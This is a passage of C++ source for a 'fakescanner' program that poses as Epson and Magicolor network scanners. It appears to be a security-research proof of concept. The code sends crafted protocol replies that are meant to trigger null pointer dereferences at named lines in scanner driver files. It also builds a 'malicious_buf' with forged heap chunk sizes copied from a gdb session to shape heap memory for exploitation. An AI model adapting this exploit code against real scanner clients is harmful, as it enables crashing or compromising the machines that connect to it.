        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
          'P','A','R','A','x','0','0','0','0','0','0','0','#','-','-','-'
        };
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
      if (reply_len_ > sizeof(reply)) {
        size_t size = reply_len_ - sizeof(reply);
        char *reply2 = (char*)malloc(size);
        memset(reply2, 0, size);
        if (send(sock, reply2, size, 0) < 0) {
          printf("send failed.\n");
        }
      }
      state_ = H_wait_hdr;
      return 12;
    } else {
      printf(
        "eds_send unrecognized command: %s\nbuf_size=%d reply_len=%d\n",
        buf, buf_size_, reply_len_);
      return -1;
    }
  }

  ssize_t net_lock(int sock, uint8_t* buf) {
    printf("net_lock\n");
    if (mode_ == 1) {
      // Trigger a null pointer exception at epsonds-net.c:160
      const char reply[15] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 'K'};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }

      state_ = H_wait_hdr;
      return 12;
    }

    if (buf_size_ != 7) {
      printf("net_lock unexpected buf_size: %d\n", buf_size_);
      return -1;
    }
    if (memcmp(buf, "\x01\xa0\x04\x00\x00\x01\x2c", 7) != 0) {
      printf("net_lock unexpected payload\n");
      return -1;
    }
    return send_ack(sock);
  }

  ssize_t net_lock_epson2(int sock) {
    printf("net_lock_epson2\n");
    if (mode_ == 0) {
      // Trigger a null pointer dereference at epson2_net.c:141
      const char reply[13] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 'K'};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
    }
    state_ = H_wait_hdr;
    return 12;
  }

public:
  EpsonHandlerTCP(int mode) :
    mode_(mode), state_(H_wait_hdr), payload_state_(P_normal), cmd_(0)
  {
    size_t size = sizeof(malicious_buf);
    memset(malicious_buf, 0, size-1);
    malicious_buf[size-1] = 0xf0;
    malicious_buf[0] = 'I';
    malicious_buf[1] = 'S';
    *(uint32_t*)&malicious_buf[6] = htonl(size-12);
    // try to recreate the original heap structure by inserting
    // valid-looking chunk sizes at appropriate offsets. (I got
    // these chunk sizes from a debug session in gdb.)
    size_t offset = 12 + 0x220 + 8;
    size_t offsets[] =
      { 0x40, 0x30, 0x20, 0x50, 0x20, 0x800, 0x70, 0x20,
        0xa0, 0x70, 0x20, 0x60, 0x20, 0x20, 0x70, 0x20,
        0x70, 0x20, 0x60, 0x70, 0x20, 0x20, 0x60, 0x70,
        0x30, 0x20, 0x60, 0x30, 0x40, 0x30, 0x30, 0x30,
        0x90, 0 };
    size_t i;
    for (i = 0; offsets[i] != 0; i++ ) {
      *(size_t*)&malicious_buf[offset] = offsets[i] + 5;
      offset += offsets[i];
    }
  }

  virtual ~EpsonHandlerTCP() {}

  virtual ssize_t accept(const int sock) {
    printf("Sending welcome message.\n");

    // Send back a welcome message. To hit the code in epson2.c, the
    // payload needs to be 5 bytes; to the hit the code in epsonds.c, it
    // needs to be 3 bytes.
    if (mode_ == 0) {
      // Send back a 5-byte payload to hit the code in epson2.c
      const char reply[17] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 5, 0, 0, 'K','E','V','I','N'};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
    } else {
      const char reply[15] =
        {'I', 'S', 0, 0, 0, 12, 0, 0, 0, 3, 0, 0, 'K','E','V'};
      if (send(sock, reply, sizeof(reply), 0) < 0) {
        printf("send failed.\n");
      }
    }

    state_ = H_wait_hdr;
    return 12;
  }

  virtual ssize_t receive(int sock, uint8_t* buf) {
    switch (state_) {
    case H_wait_hdr:
      // Parse the header. (First 12 bytes.)
      if (buf[0] != 'I' || buf[1] != 'S' || buf[4] != 0 || buf[5] != 12) {
        printf("EPSON message has malformed header.");
        return -1;
      }

      cmd_ = (((uint16_t)buf[2]) << 8) | buf[3];
      if ((cmd_ & 0xFF00) == 0x2000) {
        // There will be an extended header.
        state_ = H_wait_extra_hdr;
        return 8;
      }
      buf_size_ = ntohl(*(uint32_t*)&buf[6]);
      reply_len_ = 0;
      if (buf_size_ == 0 && cmd_ == 0x2100) {
        return net_lock_epson2(sock);
      }
      state_ = H_wait_payload;
      return buf_size_;

    case H_wait_extra_hdr:
      buf_size_ = ntohl(*(uint32_t*)&buf[0]);
      reply_len_ = ntohl(*(uint32_t*)&buf[4]);
      if (buf_size_ == 0 && payload_state_ == P_img) {
        return send_img_response(sock);
      }
      state_ = H_wait_payload;
      return buf_size_;

    case H_wait_moreinfo:
      // This case is triggered if we specified a non-zero "more" value in
      // the initial reply.

      // Parse the header. (First 12 bytes.)
      if (buf[0] != 'I' || buf[1] != 'S' || buf[4] != 0 || buf[5] != 12) {
        printf("EPSON message has malformed header.");
        return -1;
      }

      cmd_ = (((uint16_t)buf[2]) << 8) | buf[3];
      buf_size_ = ntohl(*(uint32_t*)&buf[6]);
      printf("more INFO: %x %x\n", cmd_, buf_size_);
      buf_size_ = ntohl(*(uint32_t*)&buf[12]);
      reply_len_ = ntohl(*(uint32_t*)&buf[16]);
      printf("more INFO extra: %x %x\n", buf_size_, reply_len_);

      send_info_harmless(sock, 0);
      state_ = H_wait_hdr;
      return 12;

    case H_wait_payload:
      switch (payload_state_) {
      case P_normal:
        switch (cmd_) {
        case 0x2000: // eds_send
          return eds_send(sock, buf);
        case 0x2100: // net_lock
          return net_lock(sock, buf);
        default:
          printf("Unknown EPSON command: 0x%x\n", cmd_);
          return -1;
        }
      case P_paramblock:
        return send_para_response(sock);
      default:
        printf("Invalid EPSON payload state: %d\n", payload_state_);
        return -1;
      }

    default:
      printf("Invalid EPSON header state: %d\n", state_);
      return -1;
    }
  }

  virtual void close(int) {}
};

class BuildEpsonHandlerTCP : public BuildRecvHandlerTCP {
  const int mode_;

public:
  explicit BuildEpsonHandlerTCP(int mode) : mode_(mode) {}

  virtual RecvHandlerTCP* build() const {
    return new EpsonHandlerTCP(mode_);
  }
};

int main(int argc, char* argv[]) {
  if (argc < 2) {
    const char* prog = argc > 0 ? argv[0] : "fakescanner";
    fprintf(
      stderr,
      "usage: %s <command>\n"
      "commands: epson [0-8], magicolor\n",
      prog
    );
    exit(EXIT_FAILURE);
  }

  const char* command = argv[1];

  const int epollfd = epoll_create1(0);
  if (epollfd == -1) {
    fprintf(stderr, "Call to epoll_create1 failed.\n");
    exit(EXIT_FAILURE);
  }

  if (strcmp(command, "magicolor") == 0) {
    if (EpollRecvHandlerUDP::build(
          epollfd,
          create_and_bind_udp(161),
          new SNMPHandlerUDP()) < 0) {
      fprintf(stderr, "Failed to bind UDP port 161.\n");
      exit(EXIT_FAILURE);
    }
    if (EpollTcpConnectHandler::build(
          epollfd,
          create_bind_and_listen_tcp(4567),
          new BuildMagicolorHandlerTCP()) < 0) {
      fprintf(stderr, "Failed to bind UDP port 4567.\n");
      exit(EXIT_FAILURE);
    }
  } else if (strcmp(command, "epson") == 0) {
    if (argc != 3) {
      fprintf(
        stderr,
        "usage: %s epson [0-8]\n"
        "You need to include a mode number.\n",
        argv[0]
      );
      exit(EXIT_FAILURE);
    }
    const int mode = atoi(argv[2]);
    if (EpollRecvHandlerUDP::build(
          epollfd,
          create_and_bind_udp(3289),
          new EpsonHandlerUDP()) < 0) {
      fprintf(stderr, "Failed to bind UDP port 3289.\n");
      exit(EXIT_FAILURE);
    }
    if (EpollTcpConnectHandler::build(
          epollfd,
          create_bind_and_listen_tcp(1865),
          new BuildEpsonHandlerTCP(mode)) < 0) {
      fprintf(stderr, "Failed to bind UDP port 1865.\n");
      exit(EXIT_FAILURE);
    }
  } else {
    fprintf(stderr, "Unrecognized command: %s\n", command);
    exit(EXIT_FAILURE);
  }

  while (1) {
    const size_t max_events = 10;
    epoll_event events[max_events];
    const int numevents = epoll_wait(epollfd, events, max_events, -1);
    int eventidx;
    for (eventidx = 0; eventidx < numevents; eventidx++) {
      epoll_event *ev = &events[eventidx];
      EPollHandlerInterface *handler = (EPollHandlerInterface *)ev->data.ptr;

      if (ev->events & (EPOLLERR | EPOLLHUP)) {
        printf("epoll error 0x%x on handler=%p\n", ev->events, handler);
        delete handler;  // This also closes the file descriptor
        continue;
      }

      if (!(ev->events & EPOLLIN)) {
        // No input to process.
        continue;
      }

      if (handler->process_event(ev) < 0) {
        printf("shutdown handler=%p\n", handler);
        delete handler;  // This also closes the file descriptor
        continue;
      }
    }
  }

  return 0;
}